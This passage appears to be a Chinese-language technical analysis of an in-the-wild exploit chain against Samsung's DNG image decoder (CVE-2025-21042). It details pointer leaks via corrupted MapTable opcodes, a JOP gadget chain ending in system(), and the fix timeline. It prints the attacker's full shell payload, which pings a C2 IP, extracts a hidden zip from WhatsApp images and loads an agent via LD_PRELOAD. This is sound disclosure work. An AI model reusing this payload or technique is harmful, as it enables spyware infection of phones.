00007810: 0100 0000 0100 0000 0300 0000 0000 0000  // Arguments of bogus Maptable,
00007820: 0028 0000 0100 0000 982c 0000 0000 0000  // such as top, left, bottom, right,
00007830: 0100 0000 0100 0000 0100 0000 0000 0000  // plane, planes, ...
00007840: f0fc f8cc 7f00 0000 0600 0000 0100 0401
          \-\--\-\--\-\--\-\----> vtable of the neighboring TrimBounds opcode, interpreted here
                                  as the pointer to the MapTable's substitution table

这个构造的整个目标是让另一个操作码对象的vtable作为MapTable替换表的指针。如果我们事先将MapTable要应用的内存清零,这将导致从TrimBounds vtable读取两个字节,即泄露。

/-< Zero'ed memory at offset 0xf000:                   0000 0000 0000 0000 0000 ...
|
|-< MapTable substitution table (TrimBounds vtable):   04b2 a4cd 7f00 0000 a85e ....
|
\-> Transformed memory at offset 0xf000:               04b2 04b2 04b2 04b2 04b2 ....

泄露感兴趣的指针

使用上述技术,我们可以泄露TrimBounds vtable偏移处的任意值。我们展示了偏移0的示例,但同样的想法可以应用于其他偏移(最多65536,即替换表的最大索引)。

假设你想泄露TrimBounds vtable偏移0x1f8处的指针。这可以通过以下方式实现:

/-< Prepared memory at offset 0xf000:                                   f001 f101 f201 f301 ...
|
|-< MapTable substitution table (TrimBounds vtable) at offset 0x1f0:    4c5a ebcc 7f00 0000 ....
|
\-> Transformed memory at offset 0xf000:                                4c5a ebcc 7f00 0000 ....

但同样,exploit需要支持不同版本的库。这些不同版本的库在vtable的不同偏移处有要泄露的指针。但基于偏移0处的第一次泄露,我们可以使用另一个MapTable操作来“计算”要泄露的正确偏移。

总之,过程如下(如下图所示):

  1. 将一个TrimBounds操作码破坏为MapTable对象,其替换表指向TrimBounds vtable。
  2. 让伪造的MapTable操作码处理一个全零的区域。替换后的值将是第一个vtable条目的低2字节(即QuramDngOpcode::~QuramDngOpcode()的地址)。高半字节将取决于ASLR偏移,低3个半字节将取决于版本。
  3. 使用具有精心准备的替换表(支持不同ASLR偏移和库版本)的MapTable操作码,将这些值替换为TrimBounds vtable与要泄露的指针地址之间的偏移。
  4. 类似于步骤1,将另一个TrimBounds操作码破坏为MapTable对象,其替换表指向TrimBounds vtable。
  5. 伪造的MapTable现在将把vtable的偏移替换为它们各自的值,从而有效地将泄露的指针写入内存。

用于准备这些指针的内存位于原始像素缓冲区偏移0xf000处,其中包含最后一系列1040个“未知”操作码。该内存将成为JOP链。

泄露的指针主要是libimagecodec.quram.so内部的函数指针,以及libc的__system_property_get值,该值位于GOT中。方便的是,.got段位于TrimBounds的vtable之后,并且在65536字节的偏移范围内。

准备有效载荷

通过使用更多的MapTable操作,我们可以将泄露的指针更改为我们感兴趣的JOP gadget地址。泄露的libc指针被更改为system的地址。

以下是泄露的指针及其更改后的值的概览:

原始像素缓冲区偏移 泄露的值 JOP链的重新映射值
0xf000 QuramDngFunctionExposureRamp::~QuramDngFunctionExposureRamp() [email protected]
0xf038 QuramDngFunctionExposureRamp::evaluate(double) qpng_check_IHDR+624
0xf118 QuramDngException::~QuramDngException() __ink_jpeg_enc_process_image_data+64
0xf138 QuramDngException::~QuramDngException() __ink_jpeg_enc_process_image_data+64
0xf928 QuramDngFunctionExposureRamp::evaluate(double) QURAMWINK_Read_IO2+124
0x10928 __system_property_get_ptr system

一个长的shell命令也在原始像素缓冲区偏移0x10000处准备,该位置也落在1040个Unknown操作码区域内。

我们最终得到:

  • 一个在0xf000处准备的JOP链。请注意,它前面有一个操作码ID为23 (0x17)的1040个Unknown操作码之一

  • 一个在偏移0x10000处的shell命令。再次注意它如何位于Unknown操作码区域内

触发JOP链

类似于我们的初始破坏,我们使用DeltaPerColumn操作码将0x2800到0x6400之间的值递增1,但这次是在对象内的偏移0x22处。那里的操作码对象此时已经执行,因此这不会影响它们。但是,QuramDngImage也在那里,并且QuramDngImage中偏移0x20处是指向原始像素缓冲区的指针。通过向偏移0x22添加1,我们基本上将原始像素缓冲区指针移动了0x10000字节,使其正好指向shell命令。

最后,DNG解码器将执行最后一系列1040个“未知”操作码。偏移0xf000——我们准备JOP链的地方——正好落在其中一个操作码的边界上,因此它将作为另一个操作码被执行。

QuramDngOpcode::aboutToApply读取原始像素缓冲区偏移0xf000处的伪造vtable指针,并调用其中的第四个函数,即qpng_read_data。

QuramDngOpcodeUnknown *__fastcall QuramDngOpcode::aboutToApply(QuramDngOpcode *opcode, QuramDngDecoder *decoder)
{
    int v2; // w8
    QuramDngOpcodeUnknown *v5; // x0
    unsigned int v6; // w1

    v2 = *((_DWORD *)opcode + 4);
    if ( (v2 & 2) != 0 && *((_BYTE *)decoder + 34) )
    {
        *((_BYTE *)decoder + 5377) = 1;
        return 0;
    }
    if ( *((_DWORD *)opcode + 3) >= 0x1040001u && *((_BYTE *)opcode + 0x14) )
    {
        if ( (v2 & 1) != 0 )
            return 0;
        Throw_dng_error(-9994, 0, "QuramDngOpcode::aboutToApply 1", 0);
    }
    if ( ((*(__int64 (__fastcall **)(QuramDngOpcode *, QuramDngDecoder *))(*(_QWORD *)opcode + 0x18LL))(opcode, decoder) // bogus vtable dereference
        & 1) != 0 )
    {
        return (QuramDngOpcodeUnknown *)(((*(__int64 (__fastcall **)(QuramDngOpcode *))(*(_QWORD *)opcode + 16LL))(opcode)
                                        & 1) == 0);
    }
    else
    {
        v5 = (QuramDngOpcodeUnknown *)Throw_dng_error(-9994, 0, "QuramDngOpcode::aboutToApply 2", 0);
        return QuramDngOpcodeUnknown::QuramDngOpcodeUnknown(v5, v6);
    }
}
.got:00000000002E3390 qpng_check_fp_number_ptr DCQ qpng_check_fp_number  // address of vtable placed at offset 0xf000
.got:00000000002E3398 _ZNK17QuramDngSrational9getReal64Ev_ptr DCQ QuramDngSrational::getReal64(void)
.got:00000000002E33A0 qpng_write_IHDR_ptr DCQ qpng_write_IHDR
.got:00000000002E33A8 qpng_read_data_ptr DCQ qpng_read_data  // bogus vtable entry that will be called

当qpng_read_data gets called时,x0将指向操作码,因为这是一个方法调用。x1指向解码器,但对JOP链不重要。x2没有为此函数调用专门设置,但它仍然指向来自栈上更高位置的QuramDngImage(它没有被破坏)。x2指向QuramDngImage对JOP链很重要。

qpng_read_data将把x0移动到x19并调用下一个gadget,__ink_jpeg_enc_process_image_data+64。

qpng_read_data:
0000000000196684    STP  X20, X19, [SP,#-0x10+var_10]!
0000000000196688    STP  X29, X30, [SP,#0x10+var_s0]
000000000019668C    ADD  X29, SP, #0x10
0000000000196690    LDR  X8, [X0,#0x138]        ; x8: __ink_jpeg_enc_process_image_data+64
0000000000196694    MOV  X19, X0                ; x19: opcode (offset 0xf000 from the raw pixel buffer)
0000000000196698    CBZ  X8, loc_1966C0
000000000019669C    MOV  X0, X19
00000000001966A0    MOV  X20, X2                ; x20: QuramDngImage
00000000001966A4    BLR  X8                     ; __ink_jpeg_enc_process_image_data+64

我们跳入__ink_jpeg_enc_process_image的中间,它向QuramDngImage指针添加0x20,使x1指向包含原始像素缓冲区指针的地址:

__ink_jpeg_enc_process_image_data+64:
0000000000161664    LDR  X8, [X19,#0x928]  ; x19: opcode (offset 0xf000 from the raw pixel buffer)
                                           ; x8: QURAMWINK_Read_IO2+124
0000000000161668    ADD  X1, X20, #0x20    ; x20: QuramDngImage
                                           ; x1: address of QuramDngImage.raw_pixel_buffer
000000000016166C    MOV  X0, X19           ; not relevant
0000000000161670    BLR  X8                ; QURAMWINK_Read_IO2+124

QURAMWINK_Read_IO2+124然后解引用x1,将原始像素缓冲区指针加载到x1中:

QURAMWINK_Read_IO2+124:
0000000000154548    LDR  X8, [X19,#0x38]  ; x19: opcode (offset 0xf000 from the raw pixel buffer)
                                          ; x8: qpng_check_IHDR+624
000000000015454C    LDR  X0, [X19,#8]     ; clobbers x0
0000000000154550    LDR  X1, [X1]         ; x1: dereference address of QuramDngImage.raw_pixel_buffer,
                                          ;     so x1 points to the raw pixel buffer, which was increased
                                          ;     with 0x10000 and now points at the shell command
0000000000154554    BLR  X8               ; qpng_check_IHDR+624

qpng_check_IHDR+624调用qpng_error,它将原始像素缓冲区指针从x1复制到x19中:

qpng_check_IHDR+624:
0000000000189608    MOV  X0, X19                        ; x19: opcode (offset 0xf000 from the raw pixel buffer)
000000000018960C    BL   .qpng_error

qpng_error:
000000000018BD30    STP  X20, X19, [SP,#-0x10+var_10]!
000000000018BD34    STP  X29, X30, [SP,#0x10+var_s0]
000000000018BD38    ADD  X29, SP, #0x10
000000000018BD3C    MOV  X19, X1                        ; x19: address of shell command
000000000018BD40    MOV  X20, X0
000000000018BD44    CBZ  X0, loc_18BD5C
000000000018BD48    LDR  X8, [X20,#0x118]               ; x8: __ink_jpeg_enc_process_image+64
000000000018BD4C    CBZ  X8, loc_18BD5C
000000000018BD50    MOV  X0, X20
000000000018BD54    MOV  X1, X19
000000000018BD58    BLR  X8                             ; __ink_jpeg_enc_process_image+64

我们第二次执行__ink_jpeg_enc_process_image+64 gadget,它将原始像素缓冲区指针复制到x0并调用system。原始像素缓冲区在JOP链之前被破坏以指向shell命令,导致system()调用。

__ink_jpeg_enc_process_image+64:
0000000000161664    LDR  X8, [X19,#0x928]  ; x19: address of shell command
                                           ; x8: system
0000000000161668    ADD  X1, X20, #0x20
000000000016166C    MOV  X0, X19           ; x0: address of shell command
0000000000161670    BLR  X8                ; system

以下是gadget序列及其用途的总结:

Gadget 相关指令 用途
qpng_read_data MOV X19, X0MOV X20, X2 将操作码地址复制到x19,将QuramDngImage地址复制到x20
__ink_jpeg_enc_process_image_data+64 ADD X1, X20, #0x20 使x1指向QuramDngImage+0x20(其中包含原始像素缓冲区指针)
QURAMWINK_Read_IO2+124 LDR X1, [X1] 解引用x1,使其包含原始像素缓冲区指针
qpng_check_IHDR+624 → qpng_error MOV X19, X1 将原始像素缓冲区指针从x1复制到x19
__ink_jpeg_enc_process_image+64 LDR X8, [X19,#0x928]
MOV X0, X19
BLR X8
将原始像素缓冲区从x19复制到x0并调用system。原始像素缓冲区在JOP链之前被破坏以指向shell命令
system 执行shell命令

有效载荷

有效载荷的shell命令是:

/system/bin/sh -c 'ping -c 1 -w1 -p 2066c1d8ce2834f1fbb1296f9dca73419 91.132.92.35 >/dev/null & '; pid=`cat /proc/self/stat | cut -F 4` && ppid=`cat /proc/$pid/stat | cut -F 4`;
rm -f /data/data/com.samsung.ipservice/files/b.so;
rm -f /data/data/com.samsung.ipservice/files/z.zip;
image=`find /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/Media/WhatsApp\ Images/ /storage/emulated/95/Android/media/com.whatsapp/WhatsApp/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1000/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1001/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1002/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1003/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1004/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1005/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1006/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1007/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1008/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1009/Media/WhatsApp\ Images/ /storage/emulated/0/Android/media/com.whatsapp/WhatsApp/accounts/1010/Media/WhatsApp\ Images/ -type f -atime -720m -maxdepth 1 -exec grep -lo '.*066c1d8ce2834f1fbb1296f9dca73419.*' {} \; -quit 2>/dev/null` ;
/system/bin/sh -c 'ping -c 1 -w1 -p $(test "$image" && echo 31066c1d8ce2834f1fbb1296f9dca73419 || echo 30066c1d8ce2834f1fbb1296f9dca73419) 91.132.92.35 >/dev/null & ' ;
tail -c $(( 390245 )) "$image" > /data/data/com.samsung.ipservice/files/z.zip && unzip -o -d / /data/data/com.samsung.ipservice/files/z.zip && chmod +x /data/data/com.samsung.ipservice/files/b.so;
R=I SEP=CAFEBABE LD_PRELOAD=/data/data/com.samsung.ipservice/files/b.so /system/bin/id;
content write --uri "content://com.samsung.cmh/files?service_flag=update%20files%20SET%20serviceflag%3D%20serviceflag%7C66304";
kill -9 $ppid

它执行一系列操作:

  • 它将使用自定义标识符ping一个C2服务器
  • 它删除先前投放的工件(如果有的话)
  • 它在所有WhatsApp图像中搜索自身(使用唯一字符串)
  • 它将b.so从自身解压到/data/data/com.samsung.ipservice/files/b.so中。实际上,它是一个DNG和ZIP文件的混合文件。

请注意,只有com.samsung.ipservice进程被允许在此处写入,这证实了这是目标进程。

  • 请注意,只有com.samsung.ipservice进程被允许在此处写入,这证实了这是目标进程。
  • 倒数第二个命令包含以下service_flag URL解码:update files SET serviceflag= serviceflag|66304。最后一个值(0x10300)是一个标志位掩码,将在com.samsung.cmh的files表中设置IPService、FaceService和StoryService。这些标志由不同的服务用于跟踪哪些文件需要处理(标志位设置为0)以及已经处理(标志位设置为1)。攻击者在此处的可能目标是防止这些服务未来重新解析这些图像。

最后,它运行b.so,即代理。

修复

奇怪的是,这个问题在三星2025年4月的更新中被静默修复了。2025年9月,三星分配了一个CVE (CVE-2025-21042)并更新了安全公告。请注意,并非所有受支持的三星设备都接受每月安全更新。一些设备属于季度或半年度安全更新计划,这意味着它们可能稍后才收到修复。2025年12月11日